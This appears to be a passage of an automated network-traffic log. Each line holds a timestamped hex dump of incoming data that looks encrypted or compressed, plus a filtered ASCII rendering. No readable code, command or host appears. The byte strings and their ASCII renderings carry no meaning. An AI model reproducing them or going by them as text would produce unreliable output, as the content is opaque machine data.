2022-08-30 13:56:45 UTC	1269	IN	Data Raw: 71 ac a3 1a 53 61 94 da e9 51 17 ab d1 51 98 4e 86 31 c7 2a 23 ee e0 0b 46 49 04 2a 6d d3 39 8a a0 13 3d 07 2f 61 6b 25 2e 61 51 7a ff d3 6c 9d b3 33 1f a7 8e 7b 97 65 ff 37 a9 f4 fa 61 96 7d ff d9 61 24 00 4f 1e 03 88 5d 99 8d 9a 33 17 17 33 41 93 2a 1a a5 9d 89 38 ed f0 a2 6b 31 a2 35 f5 13 2d a7 95 a7 e9 c8 86 bf 14 f8 16 ea 6d 2c 40 2e 3d c3 9e 4c 91 4d 98 4e db 05 f3 69 77 13 0d ac 5b 03 8f 43 5f b5 53 cb 05 ef 21 a0 01 91 30 a2 d2 d1 22 0e 0f 1a f4 4a 29 ec e9 4c 9e ba d2 5c 24 c2 01 c0 35 cb 37 fb 4d e4 9b 69 ef fd be fa 43 c9 01 f6 47 c8 3c ea 18 1f 6c 61 58 0e 16 38 d2 5d 2f 2a ca 86 66 ff 3b a3 3f f3 85 cc c3 72 c7 9c 01 2b e7 ea 2f fe 69 a5 d2 8d 5d e7 8e e3 67 ef 3d ac f2 30 58 94 6c 13 da 07 36 db 97 2e 9e f6 1c 68 d7 d5 6c 03 49 50 d3 b4 61 Data Ascii: qSaQQN1#FIm9=/ak%.aQzl3{e7a}a$O]33A8k15-m,@.=LMNiw[C_S!0"J)L\$57MiCG<laX8]/f;?r+/i]g=0Xl6.hlIPa
2022-08-30 13:56:45 UTC	1273	IN	Data Raw: 81 15 ce 32 ab 1a da 93 ea ec 5d de 26 9a 90 99 12 5b 6e a2 1d c5 9d c8 6c 81 12 d7 40 34 a7 35 a9 42 cb 54 6c 02 72 86 75 e0 9d 21 66 eb 20 84 39 31 4e ae 66 ac 48 d3 7a 77 37 da 11 85 8d bb 24 fb fb f4 8c 94 41 df 32 e1 dc 89 0e 2c e3 fa de c2 e8 61 ce 6e a7 0a ac 5c 2e 9f db fb 4b fb 17 e3 62 c4 f4 70 67 08 af 35 c3 a6 2f 0d cb 2b 1f b3 b5 d3 69 55 8b da 3b 43 d1 3b d2 1f eb cd 58 fd da 9f d8 04 bd e9 da 9b dc 14 2e 17 4d 7e d9 2f 1f 17 4f 03 ee 0a f5 86 a9 9c 9b c5 e0 aa 48 c4 66 06 78 7c ca fe f6 be 2e de be 19 a5 63 cf 91 f5 cb 39 a6 c2 d4 5d 7d b0 74 98 90 6e 2c 74 3e e3 af 2e d6 c0 90 85 cb c9 fc dc c2 d4 1a 1b 6a b3 50 d6 c3 9c 5a 6c f3 ff eb 6b f7 fc 8c 12 b0 ad 0a b4 12 0c c5 80 a1 bb 6a 58 33 74 ad 09 0a 41 d3 7b fa f1 e9 00 88 25 f6 fc f7 af Data Ascii: 2]&[nl@45BTlru!f 91NfHzw7$A2,an\.Kbpg5/+iU;C;X.M~/OHfx\|.c9]}tn,t>.jPZlkjX3tA{%
2022-08-30 13:56:45 UTC	1277	IN	Data Raw: 77 fb 6a 01 da 21 f3 a1 f5 3e e3 2f f2 6e 30 91 5d e7 01 e7 0c c3 3a 86 76 b2 7a 4f fa 77 3c a6 16 41 eb 43 6a 4f 6d 81 5c a7 1e d4 1a a4 ec 4a 0a b4 7c ad b5 37 9f 92 1e d4 e6 5b 51 6e 19 24 1f e4 43 c9 86 d7 3d 97 6a 58 33 7d 8c 3e 96 58 a0 be 46 d3 1b b2 f7 6d 61 bb d2 49 5c 17 a0 6d 8b 36 13 5b fb 84 65 2a d3 a5 94 b1 94 43 e6 23 2e eb f6 26 93 45 d2 55 39 c1 fb 03 24 2b 4e 40 25 6a 22 ea 44 1b 7e fd 23 f7 b9 77 3e ff 31 b0 7e cf 55 e4 1f 92 e1 14 69 62 e1 d6 e5 ea 2c cc ac dc b5 1e b2 d7 b2 08 85 fe b6 dd e1 3c d2 18 54 70 6b b2 fc 5b 19 ab 33 8b fd 4d e3 d9 d5 e7 8f 36 c4 2a d5 cd 1d 93 ac 4b 50 45 99 38 f0 a6 bf b5 01 c0 e1 c9 20 08 ee 6a 20 33 c9 99 93 1a 49 a5 4b 7e 36 c3 dc 31 61 6a 3c 8c 54 a2 2d 60 8e 46 cf 85 ee 02 4b b1 45 99 6b 87 4c e7 5c Data Ascii: wj!>/n0]:vzOw<ACjOm\J\|7[Qn$C=jX3}>XFmaI\m6[eC#.&EU9$+N@%j"D~#w>1~Uib,<Tpk[3M6KPE8 j 3IK~61aj<T-`FKEkL\
2022-08-30 13:56:45 UTC	1281	IN	Data Raw: af 6a b1 ee 13 49 a2 da 19 b7 72 6e a5 68 5b 92 a6 6d a3 9c 53 63 a8 6a a0 6b a8 63 f0 6a c5 99 67 4b c3 d7 39 85 6b d3 82 b3 da eb d8 d4 42 c3 d3 7f b7 6b da 12 ac cb 54 cf 50 65 10 98 1e c0 a1 d2 e0 38 db 1b 68 20 2a 19 dc 72 67 d2 37 8a 1e 38 6a f5 db 4e b8 96 c6 5b 5b 2d 8f 4f 90 90 7f 7f 2a ae 12 4f 7b 25 ed 3b 0e 1d ed 5d 93 95 9e 1a e1 79 91 78 1a c2 b7 7a 35 e8 86 52 bb 62 a2 62 af f2 37 0a cf 16 d6 62 ae 3e c7 88 6e 7c ac 6e 65 9b 27 f3 8a 62 ab 6b a6 bd 71 ca 8a 76 35 5f 03 fb 1d d2 b0 b8 7f 89 89 ae 53 96 aa 66 3a fe 03 d8 04 ca 96 4e 73 a8 a7 c9 07 bb 62 75 6d 8e 9d 75 b8 77 ba a3 f4 6c c8 a6 d4 6f a6 39 90 a6 b8 f4 50 9e 3e 07 53 17 4f 0b 53 fb c2 9e 2a 13 aa 93 2e 9e 29 3d 0b ff fc b0 cb 6f fc d1 7d aa 5b 6c 24 11 a0 dd 31 9f f1 ff af a1 c6 Data Ascii: jIrnh[mScjkcjgK9kBkTPe8h rg78jN[[-OO{%;]yxz5Rbb7b>n\|ne'bkqv5_Sf:Nsbumuwlo9P>SOS*.)=o}[l$1
2022-08-30 13:56:45 UTC	1285	IN	Data Raw: 21 69 19 29 25 ab 64 12 6b 26 19 a7 36 03 27 ea 37 71 35 fb 69 c4 84 4a 1e 3e a2 ea eb 6b 2f 5b 1b 6f d3 0b 6c 19 07 a3 eb 8c 18 a7 d8 5f 91 Data Ascii: !i)%dk&6'7q5iJ>k/[ol_
2022-08-30 13:56:45 UTC	1285	IN	Data Raw: 49 ea 02 49 4f ed c9 94 a7 16 ec 5d 5a 36 ff 5b 13 05 73 f3 0e 22 57 df b2 49 51 2f 3c f0 b6 32 ee c7 8b 93 58 3f 9f d9 4f 0c 7a e5 a7 e3 ab 65 7e b6 51 07 3e e3 da c7 fe ae 3e 35 68 36 bf 72 36 a6 3a 39 69 3b b0 e9 e0 24 6b f3 84 80 b2 ea b4 f8 26 bd 7b ac 36 3f 6b e7 5c 59 67 23 28 e5 68 28 2a a5 e1 62 94 a8 51 e6 19 56 a6 6a a7 e0 02 76 54 cc 48 a6 e2 82 c4 a4 36 36 42 e2 c9 e5 b7 fb 23 4c 0a ac f1 5d 7c 9c 66 af d7 07 34 a4 f9 5e 99 fa c6 70 d4 a3 a5 dd 39 02 b5 f2 42 f2 da 62 21 3c 1c bb 9d 82 43 cc f2 6a 57 d3 1e 65 1d d0 27 ea a7 0c 44 fb b3 22 9b 3a b8 2c 06 b9 2b eb 64 eb be 59 cf e5 6f c7 18 2d e7 d2 63 87 26 18 51 a2 28 c9 7f 6d 57 e1 f1 78 62 28 0b 91 af 18 cc 3c 30 ac f1 d2 5e 7e 2a e4 16 5d 21 5f 5d 2e 6f c3 cb bb a7 51 c8 3f 9d 01 a6 62 af Data Ascii: IIO]Z6[s"WIQ/<2X?Oze~Q>>5h6r6:9i;$k&{6?k\Yg#(h(bQVjvTH66B#L]\|f4^p9Bb!<CjWe'D":,+dYo-c&Q(mWxb(<0^~]!_].oQ?b
2022-08-30 13:56:45 UTC	1290	IN	Data Raw: b1 fc d9 54 b9 48 b6 5b b9 75 b8 72 7a 37 d0 48 bf 9b 4b 6c 65 a5 c5 08 67 4d cf 37 47 8a 7f e8 25 62 65 22 e2 45 22 1f aa 93 5e 93 84 69 a7 c1 14 5e 4c e9 cd 59 7a b3 6f 37 e1 8c 46 43 4b 4d 77 d0 d1 44 87 7d 47 a7 a9 23 4c 5f b3 25 83 8c e1 34 0c 78 e8 5a ac d1 66 06 9c 95 2b 4b 63 c6 2b 93 16 4b 90 dd 42 fb 7a 7b b3 9c 34 e4 8a bd 7a 4b de 33 66 2a eb 49 86 a4 6f 78 75 c7 84 ed 90 18 5e f3 a5 4b 96 38 0b 2b 0a 49 68 46 89 d5 11 76 9c aa 7a 90 49 03 57 db 90 9c 15 6c db a3 61 cf c1 1c 13 77 9c be 9e 66 b8 5f 4b ed e3 1a 16 72 b2 e4 dc 57 b4 47 9d de f0 9c 40 5b b2 48 a5 39 ee 5e 57 57 eb 0f b2 9e 43 d6 d5 40 4e 87 3f f6 70 ef 51 53 af c4 88 c7 31 8c f9 ee df be fc 10 2b 78 df 5b de 85 af cd 72 7b 73 d5 de 32 7d 54 75 7e 0f 87 2f 11 d9 2c a3 65 ee 86 4f Data Ascii: TH[urz7HKlegM7G%be"E"^i^LYzo7FCKMwD}G#L_%4xZf+Kc+KBz{4zK3f*Ioxu^K8+IhFvzIWlawf_KrWG@[H9^WWC@N?pQS1+x[r{s2}Tu~/,eO
2022-08-30 13:56:45 UTC	1294	IN	Data Raw: ac b1 d2 4f 05 44 7b b8 ad b3 9f 52 3c fb 0e 05 73 d3 ca 84 df 90 cb 63 e4 2d b5 38 eb 00 cc 7b db 07 b5 15 ca 7f ff 4c d8 2d c2 c1 26 70 1c d4 8a 73 56 21 37 62 3f fa ab 42 9d ff e6 30 bc 32 ff 38 ee f9 62 f2 5f d2 b8 f9 3f 31 7b ab cf 46 84 89 6f e9 c5 84 ab a8 7d b8 65 d1 d6 f2 17 19 1d 38 83 3d a1 38 f3 25 6d be f6 6a a5 3a e8 89 6d df 3f 72 26 eb ad 70 3e 8f ef 5e 3a d7 97 fe 18 a1 40 70 46 b7 3e 36 13 9a 1b 4e 60 e0 2a 32 90 c9 8a 33 b0 b0 6f 2e c2 10 4b 5b ef ac 0e bd 59 a7 55 70 55 32 1b 6b aa 71 5e 76 e4 db a6 77 4d ae 3c 6b 91 5f c1 a6 6b b4 ea cf b3 48 81 e3 7c 68 cd 76 f5 1f 9c 76 d0 0a a6 7c ff a0 10 53 bb a9 f5 de a9 53 96 da 11 64 0a 7d 13 a4 3f 33 a6 72 a1 43 bc af f4 de 18 ec bc 56 dd b9 10 6c 14 df a9 72 b1 f6 31 d4 13 6c 27 fa b3 33 93 Data Ascii: OD{R<sc-8{L-&psV!7b?B028b_?1{Fo}e8=8%mj:m?r&p>^:@pF>6N`*23o.K[YUpU2kq^vwM<k_kH\|hvv\|SSd}?3rCVlr1l'3
2022-08-30 13:56:45 UTC	1298	IN	Data Raw: 51 a6 6a db 2d 73 7a 4c fd e2 22 da 13 c8 fb 2c 6b 85 8a 59 76 83 fc 2d 73 d5 1d 9b 22 ca 03 d8 5b 9c ad 12 7b 32 dd c6 4e d7 1e fa b6 1c 33 b7 74 2a ff d2 53 1d 93 cd 79 d6 2b ad 53 dd 04 c5 32 02 a3 f9 fd 2c 1a df e7 d4 e8 f7 41 1e dc e2 0b d3 c5 2d 3f 78 e0 50 f4 ba c5 82 2f 96 e0 c2 7a 1f c2 e5 d0 61 7f 9c d6 cd 3f e0 26 0f a1 53 76 98 a9 2d 3b 80 10 d7 60 bb ce ea 9d db 37 b4 99 27 2a f8 6b a2 6c 39 fc 79 0d 4b e1 79 37 fc 6f a6 b6 6e 28 a3 eb e2 de a5 91 62 2a af ea 1e 53 d3 70 3f 9e 25 ea 2c 9c d6 12 d6 99 56 7d b7 1f b3 80 73 31 90 af 6a 51 64 dd e3 d7 69 21 25 f9 be 50 85 07 c8 f4 f8 c5 c1 78 2d b9 ff 51 c5 33 d3 11 a9 e9 e5 a9 26 29 65 ec f8 b1 d2 fb c8 27 8a 84 b9 b1 6f e1 ec a3 a6 23 ea 5d 54 41 5c 51 7a 9b a2 68 e5 2a ad 16 53 f0 36 a4 f2 8c Data Ascii: Qj-szL",kYv-s"[{2N3tSy+S2,A-?xP/za?&Sv-;`7'kl9yKy7on(bSp?%,V}s1jQdi!%Px-Q3&)e'o#]TA\QzhS6
2022-08-30 13:56:45 UTC	1302	IN	Data Raw: 4a 0d a2 77 b6 7d b4 67 35 bb 4c bd f6 35 df 07 2a fd b0 60 dd 1e 9d 52 5d 33 12 1b a6 f9 55 e8 2d 67 ae e2 21 d1 1e 6c 85 8b 69 03 a0 79 f5 28 a4 8c c1 92 ce 19 d1 04 d8 6f b2 7f 93 24 32 e4 df 13 e2 3c 41 82 9b 2e a6 3f 8e 73 d3 7b e2 7b b8 76 bb 75 96 5b b6 09 8b 75 ae 61 bc 03 c0 65 bb 3e b6 62 a7 66 92 47 b8 68 a6 6c b0 00 88 0f c6 65 e4 2b a4 70 a2 3a 87 2d 81 62 a2 6a b2 33 e6 0b c9 60 e3 07 8b 79 be 21 bf 13 82 62 6b eb 77 94 9d 5f 47 02 07 40 b5 7e 53 be 8b 52 97 2a 6b 67 97 db a2 6f b7 7a af 62 14 d9 ff 34 a1 4a 97 7a 14 d9 a3 1e d6 7b 77 aa c7 85 2a 78 bf f2 37 1b d7 3a 43 df 27 ea 27 9e d2 4b 17 fa a7 ec 20 1a d7 fa 36 68 a4 6b a3 dd 14 5e 91 69 16 da b7 cb 16 1b d1 fb 01 5a a0 1a fc 27 c8 8a f3 81 f6 63 37 ea 7a c3 cd e2 dc 9e cd 70 e2 fa 61 Data Ascii: Jw}g5L5`R]3U-g!liy(o$2<A.?s{{vu[uae>bfGhle+p:-bj3`y!bkw_G@~SRkgozb4Jz{w*x7:C''K 6hk^iZ'c7zpa
2022-08-30 13:56:45 UTC	1308	IN	Data Raw: 32 e8 07 9c 58 ee 79 0c 82 ec 53 7c 6b e3 91 20 4b e1 bb 50 21 e7 c5 c0 fb e5 ef b0 f5 eb 38 e1 2b e9 12 91 41 ef 6c 01 9b ed 46 71 5d f2 c2 a2 8b f0 e8 d2 e1 f6 96 42 3b f4 bc 32 35 fa 6b 63 eb f8 41 13 81 fe 3f 83 5b fc 15 f3 d7 6b 41 63 50 69 6b 13 3a 6f 15 83 e0 6d 3f f3 ee 63 e8 a2 30 61 c2 d2 5a 67 bc 42 80 65 96 32 46 7a 12 e1 90 78 38 91 fa 7e 46 01 20 7c 6c 71 2e 72 bb 20 f0 70 91 50 9a 76 ef c0 40 74 c5 b0 59 f2 31 a6 7c f0 1b d6 16 f6 65 46 cc f4 4f 36 c2 fa 98 67 1c f8 b2 17 76 fe cc 87 ac fc e6 f7 6a e3 62 24 bc e1 48 54 d6 e7 36 c4 0c e5 1c b4 02 eb cb e5 dc e9 e1 95 b6 ef 9f 05 6c ed b5 75 e0 7a e1 e5 67 78 cb 95 0d 7e b5 05 d7 7c 9f 75 d9 72 48 24 07 70 62 54 6d 76 1c c4 b7 74 36 b4 71 6b b2 67 a7 69 98 17 cd 6f e6 87 17 6d cc f7 19 63 1b Data Ascii: 2XyS\|k KP!8+AlFq]B;25kcA?[kAcPik:om?c0aZgBe2Fzx8~F \|lq.r pPv@tY1\|eFO6gvjb$HT6luzgx~\|urH$pbTmvt6qkgiomc
2022-08-30 13:56:45 UTC	1315	IN	Data Raw: b1 3f 46 9e cc 83 a2 44 f0 42 21 ac a3 7a 6e b3 37 9f 56 d2 c9 4a 12 bc a6 2f c0 d2 2a 5b a6 02 77 f4 66 af e2 28 30 f8 61 22 78 3c 83 52 1c 37 98 c8 ad cf 2f 59 08 db 67 2c 3e 19 d1 1d a7 ab a8 c0 e4 ef 66 c3 75 72 03 21 6d 34 0d 76 1a f5 c8 35 13 1e 86 be d0 a8 f9 11 dd 6a a7 8e 2d fa 9a 64 00 00 ab da 7d 3e 8a 4c b0 47 a4 68 e0 75 d8 b7 8d c9 80 2c fd e2 a6 73 bd 87 9a f5 06 44 0f ca ec 9b bf bc c1 51 86 e4 69 e4 e3 13 5f af ad ae 23 c9 8b 8a 30 d5 f0 db 86 c3 43 22 c9 45 fd ad a0 e4 f3 f5 f4 19 79 52 22 1d a7 c1 fb f1 6c 22 e6 9a 35 1b b1 d6 ca e9 5a 72 eb b8 03 f7 38 85 53 d4 8f 44 aa 47 21 e0 1c c6 14 40 86 93 58 5c 38 2d e6 5a 23 93 b1 d7 18 35 7b 36 2d ca f3 64 17 f3 7e e4 81 12 f7 f0 d6 22 e7 08 e6 10 a5 1e d9 ce f6 fa 73 e9 72 fd af c4 22 29 2c Data Ascii: ?FDB!zn7VJ/*[wf(0a"x<R7/Yg,>fur!m4v5j-d}>LGhu,sDQi_#0C"EyR"l"5Zr8SDG!@X\8-Z#5{6-d~"sr"),
2022-08-30 13:56:45 UTC	1331	IN	Data Raw: ca 85 4c 02 9b b5 0e e0 2b 03 88 71 b8 07 d0 7c b4 7d 96 5f a4 64 c7 03 c2 8c 71 7b 96 26 a7 18 d5 36 f7 52 b6 60 bd 60 a5 67 9f 7a 91 f8 72 6f f6 62 8b 8f 4b 6f 45 a1 8a 46 c7 24 48 ef d6 5e 89 65 c6 18 5f 85 42 e9 c7 89 0b 07 66 e6 f8 bb 26 c4 4b 72 92 c6 16 9a 03 33 fb 11 fc 4b a4 2c c3 7b d4 28 9f 52 ef 22 07 9b f6 53 9e 47 ea 0a 91 3c c6 49 d3 1c 86 38 f4 5d 72 8a 88 47 87 10 fd 59 94 2d 80 3d bd 47 cd 4a 8d 08 f0 1f db 62 13 09 85 c8 90 6b f2 0f ea c2 46 16 5a f9 d4 58 b0 41 c9 1f bf 62 b0 79 b2 7b 91 ea 54 0e 83 48 96 4e 10 88 ee cd 03 c2 43 67 ee 37 fb 48 05 e6 a9 46 a6 77 70 a1 a4 c3 67 26 8a ce 62 6f 47 89 a4 3b 83 7a b0 61 8b 4c b1 af 75 4c 9c 6e a9 6e fe 07 d2 5f a8 35 c2 50 ed 5a c7 4b 9a 3f ee 26 a0 41 54 98 b6 30 cc 2d a1 c6 eb ef 72 3a 3c Data Ascii: L+q\|}_dq{&6R``gzrobKoEF$H^e_Bf&Kr3K,{(R"SG<I8]rGY-=GJbkFZXAby{THNCg7HFwpg&boG;zaLuLnn_5PZK?&AT0-r:<
2022-08-30 13:56:45 UTC	1347	IN	Data Raw: a3 ef 42 0a c2 85 2e 69 9e 56 c2 0a f4 59 c3 61 0f ce a4 94 d8 8b c4 67 26 e6 a4 dc 9f 87 c1 2e 07 8e 0c 50 30 69 a6 0b c7 7c b4 0f c3 b1 98 80 42 02 23 69 26 fb 2e f0 a4 0e a3 0e e7 e3 69 69 a7 81 fc d9 a4 d9 a5 d8 a4 6a 23 43 09 69 4e 7e 59 29 e7 09 cd 67 a3 79 94 5f 84 09 92 0a e0 4d c7 20 8d 0a e9 44 c7 3a a2 db 43 3d 14 8e fa d7 47 3e 93 0a f2 6a 92 0a eb 46 c7 30 9d 0a fc 51 c7 60 b8 1f c7 8e 23 0a 5f 76 43 6e a2 6b 0d c0 46 8a ac 80 47 9c 31 08 a4 8b 47 c0 0f 08 c7 6d c0 0a af 02 c7 a5 08 08 ff fe 09 0a fe 53 c7 0b c1 6d 43 8c a0 92 ba 8a a1 0c c7 aa 65 37 f8 55 9c 51 9c 51 9c 01 f7 51 9c 51 9c 51 a3 7a af 22 f5 58 97 ea 36 b0 6e 69 a6 68 a5 6b 96 5a a7 79 ca 15 86 51 bc 22 5f db c6 9a 32 6b a3 17 e5 46 b4 56 a4 2d b2 27 eb 26 f1 79 b0 69 56 d7 bd Data Ascii: B.iVYag&.P0i\|B#i&.iij#CiN~Y)gy_M D:C=G>jF0Q`#_vCnkFG1GmSmCe7UQQQQQz"X6nihkZyQ"_2kFV-'&yiV
2022-08-30 13:56:45 UTC	1360	IN	Data Raw: 69 a6 75 62 8b ef f7 56 a3 ca 46 67 6a a7 0f 8a a9 28 4b e2 0a a7 6a 94 82 bb e8 45 e3 89 2e e3 22 28 e8 49 8d eb 26 eb 22 64 b1 ef 3e 60 b3 e5 37 61 a3 d5 17 6f 2f 68 e1 5c 14 a6 6a ee 40 84 16 10 2a 2d 24 b8 38 bd 7f 61 f3 f7 a3 90 d6 2f e2 a7 6a e5 a3 a8 ee 2b e6 a7 6a 2e a6 8d f6 5b 1a 9d 98 95 10 2c d7 26 a9 69 98 58 e3 8e 92 f3 21 1f 15 2a aa eb d7 f3 02 64 b4 4d 90 69 38 71 db 1b a9 af ae 2a d0 fc 77 d8 ea e5 4b 44 a1 27 dd 9a e1 6d 02 4d 1e 35 c0 67 eb 93 d9 d7 d0 6d 90 f6 03 ed 99 16 12 c7 2b c9 99 66 a5 32 ff ff f4 e9 b1 37 af 5c 18 e2 24 16 d7 ed dc 9b 68 ac ad a9 b9 36 13 c4 ce 2d f1 c4 e3 a9 5b d9 48 b4 13 55 52 21 10 e5 0b cd ca 9c d1 0a 6a a7 d4 6d a0 c2 c3 26 59 d1 20 64 a5 1f c9 b2 2a 6d a8 f2 3f ed a1 e4 f5 22 b2 ed b9 3e 18 4d b4 2a 5d Data Ascii: iubVFgj(KjE."(I&"d>`7ao/h\j@-$8a/j+j.[,&iX!dMi8qwKD'mM5gm+f27\$h6-[HUR!jm&Y dm?">M*]
2022-08-30 13:56:45 UTC	1364	IN	Data Raw: dd 67 e7 59 e8 f6 4f 09 8c 64 2c 2b 3b 3c 1f b1 99 bd 31 76 ea e8 2e 2c a2 f4 3f c9 87 29 af 3a 6e bc 8d 47 66 ce 46 e9 d3 11 af e1 29 96 18 dc c2 f8 65 20 75 3e 6b a7 26 66 d2 d2 67 09 76 a7 dd 77 f2 bf f6 23 6c 31 e5 b8 6a e6 a0 a0 e2 25 98 d3 6d e9 20 6a 5b b9 ab cf a9 d1 7e 4c 68 2e d0 46 b9 a6 0b 34 1b da b4 f5 59 80 4c e8 0a dd e5 be ec a2 f6 fd ac e6 a8 c4 6a 48 7a b8 99 d4 e5 c7 01 89 cd 68 38 b7 73 be a0 0b 03 47 4d 9c 96 d7 75 cb 4c 0e 2b 45 cb 21 ec 2b 4f 8e 6e a8 48 ce 10 4c c8 04 80 9c bc 02 b1 84 2b e6 27 29 22 a4 a4 41 83 ee 31 11 9c 37 ea 16 d3 67 af 63 22 ee 82 84 03 4c 1e 21 18 1e c2 37 26 eb 2b 6d 2d 2f a7 4a 2a bb 7a 67 54 fb e1 2c 18 5d e2 cb 8c a6 6a 2c 2e 21 af 7e 1a bb 1e aa ab 88 4e e4 4a 80 38 3b 64 65 a2 a2 f3 bb ee bd fa 58 3a Data Ascii: gYOd,+;<1v.,?):nGfF)e u>k&fgvw#l1j%m j[~Lh.F4YLjHzh8sGMuL+E!+OnHL+')"A17gc"L!7&+m-/J*zgT,]j,.!~NJ8;deX:
2022-08-30 13:56:45 UTC	1378	IN	Data Raw: aa e4 62 b5 90 cf 7c 88 23 62 2f c9 14 b6 0a f5 68 96 0b 16 49 e0 de 96 75 29 f0 b6 67 db 01 17 a6 8a 32 66 8f ef 0c 45 ea 4e d3 c7 33 65 31 67 33 f6 52 ec b3 2f 91 55 60 d6 af 07 dd 2c cb 04 a9 6c 31 d7 12 d4 b9 40 e7 a7 89 45 ef 58 bb 8d 68 fa 27 fd ad 2e 2e 27 e2 d4 94 6d e3 c2 19 23 62 bf 2e cc a9 07 f3 8b db 2b ab 24 ea 2d a2 cb 0f 65 21 2f 09 49 2f 6f 19 64 da e0 22 18 53 66 6a 50 4d 3f 19 5b a2 2e 95 df da 17 e6 1e 66 d7 a7 dd 9a 4c 0a 64 ed 67 22 57 72 6e 42 ce 42 3d e0 47 95 2f 8b e0 4a 9d 9f 1a 3b a6 db 20 b4 84 7e 2a 55 6c 19 99 ad 2c f5 3d ea 2d a2 94 11 4c 17 38 4d 02 5e f8 a2 cc a7 d4 e9 b8 ec fa eb d4 29 17 23 ce 8b 97 30 f4 a2 ac ea ca 85 2f 82 a2 87 ac 37 80 b6 ca 0b 17 33 e5 30 c2 95 2c 2d d4 1c b0 7f 1f c2 fb ab 2e 51 d0 22 2a f3 d9 48 Data Ascii: b\|#b/hIu)g2fEN3e1g3R/U`,l1@EXh'..'m#b.+$-e!/I/od"SfjPM?[.fLdg"WrnBB=G/J; ~Ul,=-L8M^)#0/730,-.Q"H
2022-08-30 13:56:45 UTC	1394	IN	Data Raw: e8 e4 4c a1 3b f5 7d 60 5e e0 84 a8 89 f4 2b a1 68 3d 4b 4d 89 b5 20 b5 d6 a4 69 22 34 09 3a b0 98 67 22 64 6d 0f 8e 65 68 a7 6a ef 11 58 4e e7 19 7d 6b e7 62 64 7d 1f 46 ac 69 df 93 22 aa b3 ba ff 6d a6 69 39 e5 eb e7 65 3d fa 1c 54 21 fa bc 94 90 91 80 06 3b 41 69 a7 59 5d 4b 3a 62 d8 68 6b a7 af 63 ef ab 72 12 8b 35 b8 22 24 05 6b 02 64 38 36 a1 04 8b 56 b2 95 b1 a6 e0 a6 ea ac 22 6a 26 1a 18 5e 80 de 07 a6 04 85 ad 6f 31 f7 a9 7f b9 37 f1 67 29 50 80 f1 29 b7 fa 6f ab 2d 21 64 aa d4 53 84 48 b0 95 31 60 d1 68 94 99 67 22 66 a0 dc db 6d 19 1e a3 a4 51 56 60 9c d2 ae 22 cc 41 a7 5b 1c bd df 7e df a1 e0 e6 cf 15 3b a3 d0 db a7 a4 da 5d ff f3 5a 3a 93 78 21 65 11 00 d0 f9 11 6f 94 af 51 e6 ec ec a2 26 ab 6f ee ab 5f 0b b7 af 2a 22 2e 92 ce 41 46 35 64 20 Data Ascii: L;}`^+h=KM i"4:g"dmehjXN}kbd}Fi"mi9e=T!;AiY]K:bhkcr5"$kd86V"j&^o17g)P)o-!dSH1`hg"fmQV`"A[~;]Z:x!eoQ&o_*".AF5d
2022-08-30 13:56:45 UTC	1410	IN	Data Raw: 53 66 52 57 26 42 80 85 e5 f7 6a d1 50 55 17 16 a9 f9 6a 3e 50 10 ee 3c f8 9d c1 9e 0b e6 83 5b f6 2e 6b b9 44 df 22 2e 93 df 2a 64 95 f7 76 b2 07 cb 56 77 af 22 eb ae e3 27 e0 ef a8 6e 6b d7 d6 e2 2a 27 02 e9 1c 1b f9 a7 59 28 28 3d b0 e7 4c d0 3b 4a b1 13 90 ae 19 ec af 2f 4b ed 74 b7 32 16 e2 26 9b a2 1b ea ca d6 b5 21 a7 21 62 45 00 9f 5b 53 df f4 32 64 a9 e7 2a 6a 6f ee d7 e7 ce 7f a9 a7 e0 a5 eb 9f d0 9f 52 ef a9 6d 23 2b fe 3f 12 a8 1e 2d 7d 59 e3 41 8b c6 24 8a 08 d4 d2 23 25 49 c2 e5 6c 28 27 21 6a c7 4b ac 7e 51 dd 98 7b 16 83 07 e2 a4 e1 9d f8 a5 c0 9d 59 a7 e9 2c 6b 9d 19 26 2f 9a e0 cc b2 80 e9 77 12 4f a6 67 6f 29 23 75 12 62 a7 c7 f3 df c3 2e c8 a7 11 37 0b a7 2a ef 6d 56 80 f5 bb 32 69 e2 8e 36 c3 9f fb 1c 6a c4 a5 83 44 a5 61 80 48 bb 36 Data Ascii: SfRW&BjPUj>P<[.kD".dvVw"'nk'Y((=L;J/Kt2&!!bE[S2djoRm#+?-}YA$#%Il('!jK~Q{Y,k&/wOgo)#ub.7mV2i6jDaH6
2022-08-30 13:56:45 UTC	1426	IN	Data Raw: 00 c2 37 a2 a9 6b 2d b3 b9 13 53 ed 22 c4 b9 17 a1 db 9d dd 1a e2 7d f7 4d f7 5a a8 a9 d4 9b bf 32 ea 5d e4 19 63 ee fc 7d 89 cb 38 3d 6c 92 c4 82 2f 61 c4 7a d5 1b ec a9 37 b7 65 5d a7 59 34 78 6c ab 58 1e 97 88 3f c8 8e 01 c0 d6 c5 c2 4e 38 12 8d f5 c5 59 3b ec 32 a7 8f 5b 78 4e 91 9d 1b 17 91 57 91 86 41 44 d1 e3 7d a7 65 1e dc a0 ee e4 7d f3 11 5a 60 2c 69 df 24 10 e1 27 4a 00 10 77 ca bf b6 68 6d aa 37 0d ac 42 5f c4 a0 2f d4 b9 9b 2d 31 37 7b e1 24 df 5d 40 ab 42 9e c8 dc 48 ad 96 88 3e b6 f1 83 21 14 f9 65 ed 01 42 2f 68 e1 9e c6 b2 bf e4 f1 88 0c b5 2f 81 3a 82 a5 4c 2c 56 55 5b b9 c9 92 d0 83 34 32 eb dd 7d 69 57 6c 59 ab 4d 86 b9 5f 6d 36 d7 44 e5 33 f6 62 2f aa a7 22 62 ea 7e 5c 54 aa 22 9a 81 dc d7 8e 06 3b e1 cc 5a e1 61 ee b2 d1 5d f6 7f 6c Data Ascii: 7k-S"}MZ2]c}8=l/az7e]Y4xlX?N8Y;2[xNWAD}e}Z`,i$'Jwhm7B_/-17{$]@BH>!eB/h/:L,VU[42}iWlYM_m6D3b/"b~\T";Za]l
